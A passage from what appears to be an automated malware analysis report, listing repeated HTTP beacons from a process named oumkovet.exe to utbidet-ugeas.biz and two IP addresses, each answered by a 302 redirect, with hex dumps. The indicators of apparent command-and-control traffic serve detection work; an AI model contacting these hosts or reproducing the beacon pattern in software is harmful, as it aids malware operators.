3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49786	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:39.390494108 CEST	201	OUT	GET /d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:39.891273975 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:39 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49788	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:41.152108908 CEST	169	OUT	GET /d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:41.630551100 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:41 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49789	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:41.636181116 CEST	201	OUT	GET /d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:42.127796888 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:42 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49791	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:45.308680058 CEST	169	OUT	GET /d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:45.787477016 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:45 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49792	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:45.831537008 CEST	201	OUT	GET /d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:46.332411051 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:46 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49794	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:48.917741060 CEST	169	OUT	GET /d/N?0204387E3A00387E3A3638563A0438ADA68C3B7A7C0538BE92063D4814361647083408503A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:49.413362026 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:49 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0204387E3A00387E3A3638563A0438ADA68C3B7A7C0538BE92063D4814361647083408503A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49795	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:49.426937103 CEST	201	OUT	GET /d/N?0204387E3A00387E3A3638563A0438ADA68C3B7A7C0538BE92063D4814361647083408503A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:49.941144943 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:49 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0204387E3A00387E3A3638563A0438ADA68C3B7A7C0538BE92063D4814361647083408503A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49797	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:52.456316948 CEST	169	OUT	GET /d/N?02B2064794B606479480066F94B20694083A0543D2B306873CB00371BA80287EA682366994 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:52.946543932 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:52 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2064794B606479480066F94B20694083A0543D2B306873CB00371BA80287EA682366994 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49798	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:52.953737020 CEST	201	OUT	GET /d/N?02B2064794B606479480066F94B20694083A0543D2B306873CB00371BA80287EA682366994 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:53.456583023 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:53 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2064794B606479480066F94B20694083A0543D2B306873CB00371BA80287EA682366994 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49800	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:57.092848063 CEST	169	OUT	GET /d/N?023878CFF83C78CFF80A78E7F838781C64B07BCBBE39780F503A7DF9D60A56F6CA0848E1F8 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:40:57.572048903 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:57 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023878CFF83C78CFF80A78E7F838781C64B07BCBBE39780F503A7DF9D60A56F6CA0848E1F8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49801	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:40:57.582393885 CEST	201	OUT	GET /d/N?023878CFF83C78CFF80A78E7F838781C64B07BCBBE39780F503A7DF9D60A56F6CA0848E1F8 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:40:58.066458941 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:40:58 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023878CFF83C78CFF80A78E7F838781C64B07BCBBE39780F503A7DF9D60A56F6CA0848E1F8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49803	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:00.308438063 CEST	169	OUT	GET /d/N?022958A28F2D58A28F1B588A8F29587113A15BA6C9285862272B5D94A11B769BBD19688C8F HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:00.809294939 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:00 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022958A28F2D58A28F1B588A8F29587113A15BA6C9285862272B5D94A11B769BBD19688C8F Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49804	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:00.828452110 CEST	201	OUT	GET /d/N?022958A28F2D58A28F1B588A8F29587113A15BA6C9285862272B5D94A11B769BBD19688C8F HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:01.339410067 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:01 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?022958A28F2D58A28F1B588A8F29587113A15BA6C9285862272B5D94A11B769BBD19688C8F Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49806	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:01.546715021 CEST	169	OUT	GET /d/N?0210E2B2A714E2B2A722E29AA710E2613B98E1B6E111E2720F12E7848922CC8B9520D29CA7 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:02.039913893 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:01 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0210E2B2A714E2B2A722E29AA710E2613B98E1B6E111E2720F12E7848922CC8B9520D29CA7 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49807	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:02.046190023 CEST	201	OUT	GET /d/N?0210E2B2A714E2B2A722E29AA710E2613B98E1B6E111E2720F12E7848922CC8B9520D29CA7 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:41:02.536381006 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:02 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0210E2B2A714E2B2A722E29AA710E2613B98E1B6E111E2720F12E7848922CC8B9520D29CA7 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49809	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:41:02.709815025 CEST	169	OUT	GET /d/N?02264B464D224B464D144B6E4D264B95D1AE48420B274B86E5244E706314657F7F167B684D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:41:03.196444988 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:41:03 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02264B464D224B464D144B6E4D264B95D1AE48420B274B86E5244E706314657F7F167B684D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49810	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

